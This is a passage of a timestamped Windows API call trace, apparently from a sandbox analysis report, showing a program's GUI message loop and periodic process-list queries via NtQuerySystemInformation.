(lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x200, wParam=0x0, lParam=0x600d2) returned 0x0 [0175.611] GetKeyState (nVirtKey=1) returned 0 [0175.611] GetKeyState (nVirtKey=2) returned 0 [0175.611] GetKeyState (nVirtKey=4) returned 0 [0175.611] GetKeyState (nVirtKey=5) returned 0 [0175.611] GetKeyState (nVirtKey=6) returned 0 [0175.612] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.612] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.612] WaitMessage () returned 1 [0175.715] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.715] IsWindowUnicode (hWnd=0x10172) returned 1 [0175.715] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.715] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0175.715] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0175.715] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.715] IsWindowUnicode (hWnd=0x10172) returned 1 [0175.715] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.715] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0175.715] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0175.715] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a1, wParam=0x0, lParam=0x600d2) returned 0x0 [0175.715] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.715] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.715] WaitMessage () returned 1 [0175.949] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.949] IsWindowUnicode (hWnd=0x10166) returned 1 [0175.949] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0175.949] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0175.949] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0175.949] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.949] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0175.949] WaitMessage () returned 1 [0176.479] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.479] IsWindowUnicode (hWnd=0x10166) returned 1 [0176.479] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.479] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0176.479] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0176.479] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0176.479] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0176.479] WaitMessage () returned 1 [0176.624] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.624] MapWindowPoints (in: hWndFrom=0x10178, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 15532530 [0176.624] IsWindowUnicode (hWnd=0x10178) returned 1 [0176.624] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.624] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0176.624] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0176.624] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0176.624] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.624] MapWindowPoints (in: hWndFrom=0x10178, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 15532530 [0176.625] IsWindowUnicode (hWnd=0x10178) returned 1 [0176.625] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.625] MapWindowPoints (in: hWndFrom=0x10178, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 15532530 [0176.625] SetCursor (hCursor=0x10003) returned 0x10003 [0176.625] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0176.625] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0176.625] _TrackMouseEvent (in: lpEventTrack=0x2c4223c | out: lpEventTrack=0x2c4223c) returned 1 [0176.625] SendMessageW (hWnd=0x10178, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0176.625] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0176.625] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x200, wParam=0x0, lParam=0x5) returned 0x0 [0176.625] GetKeyState (nVirtKey=1) returned 0 [0176.625] GetKeyState (nVirtKey=2) returned 0 [0176.625] GetKeyState (nVirtKey=4) returned 0 [0176.625] GetKeyState (nVirtKey=5) returned 0 [0176.625] GetKeyState (nVirtKey=6) returned 0 [0176.626] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0176.626] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0176.626] WaitMessage () returned 1 [0176.729] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.729] IsWindowUnicode (hWnd=0x10178) returned 1 [0176.729] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.729] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0176.729] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0176.729] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.729] IsWindowUnicode (hWnd=0x10178) returned 1 [0176.729] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0176.729] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0176.729] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0176.729] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x2a1, wParam=0x0, lParam=0x5) returned 0x0 [0176.729] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0176.729] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0176.729] WaitMessage () returned 1 [0177.009] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.010] IsWindowUnicode (hWnd=0x10166) returned 1 [0177.010] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.010] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0177.010] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0177.010] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.010] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.010] WaitMessage () returned 1 [0177.540] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.540] IsWindowUnicode (hWnd=0x10166) returned 1 [0177.540] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.540] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0177.540] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0177.540] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.540] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.540] WaitMessage () returned 1 [0177.602] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.602] IsWindowUnicode (hWnd=0x1015c) returned 1 [0177.603] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.603] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0177.603] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0177.603] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x74c8) returned 0x0 [0177.610] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.610] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.610] WaitMessage () returned 1 [0177.637] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.637] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.637] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.637] IsWindowUnicode (hWnd=0x10178) returned 1 [0177.637] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0177.637] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0177.637] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0177.637] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0177.637] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.637] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0177.637] WaitMessage () returned 1 [0178.070] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0178.070] IsWindowUnicode (hWnd=0x10166) returned 1 [0178.070] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0178.070] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0178.070] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0178.071] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0178.071] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0178.071] WaitMessage () returned 1 [0178.601] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0178.601] IsWindowUnicode (hWnd=0x10166) returned 1 [0178.601] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0178.601] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0178.601] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0178.601] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0178.601] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0178.601] WaitMessage () returned 1 [0179.131] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0179.131] IsWindowUnicode (hWnd=0x10166) returned 1 [0179.131] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0179.131] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0179.131] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0179.132] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0179.132] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0179.132] WaitMessage () returned 1 [0179.615] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0179.615] IsWindowUnicode (hWnd=0x1015c) returned 1 [0179.615] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0179.615] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0179.615] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0179.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x72c8) returned 0x0 [0179.617] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0179.617] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0179.617] WaitMessage () returned 1 [0179.662] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0179.662] IsWindowUnicode (hWnd=0x10166) returned 1 [0179.662] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0179.662] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0179.662] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0179.662] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0179.662] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0179.662] WaitMessage () returned 1 [0180.193] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0180.193] IsWindowUnicode (hWnd=0x10166) returned 1 [0180.193] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0180.193] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0180.193] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0180.193] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0180.194] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0180.194] WaitMessage () returned 1 [0180.738] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0180.738] IsWindowUnicode (hWnd=0x10166) returned 1 [0180.738] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0180.738] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0180.738] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0180.738] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0180.738] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0180.739] WaitMessage () returned 1 [0181.284] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0181.284] IsWindowUnicode (hWnd=0x10166) returned 1 [0181.284] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0181.284] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0181.284] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0181.284] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0181.284] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0181.284] WaitMessage () returned 1 [0181.627] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0181.627] IsWindowUnicode (hWnd=0x1015c) returned 1 [0181.627] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0181.627] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0181.627] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0181.628] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6ec8) returned 0x0 [0181.643] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0181.643] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0181.644] WaitMessage () returned 1 [0181.815] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0181.815] IsWindowUnicode (hWnd=0x10166) returned 1 [0181.815] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0181.816] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0181.816] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0181.816] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0181.816] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0181.816] WaitMessage () returned 1 [0182.345] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0182.345] IsWindowUnicode (hWnd=0x10166) returned 1 [0182.345] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0182.345] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0182.345] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0182.345] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0182.345] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0182.345] WaitMessage () returned 1 [0182.875] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0182.875] IsWindowUnicode (hWnd=0x10166) returned 1 [0182.875] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0182.875] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0182.875] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0182.875] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0182.875] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0182.875] WaitMessage () returned 1 [0183.407] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.407] IsWindowUnicode (hWnd=0x10166) returned 1 [0183.407] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.407] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0183.407] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0183.407] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.407] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.407] WaitMessage () returned 1 [0183.640] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.640] IsWindowUnicode (hWnd=0x1015c) returned 1 [0183.640] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0183.640] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0183.640] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0183.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6d08) returned 0x0 [0183.649] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.649] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0183.649] WaitMessage () returned 1 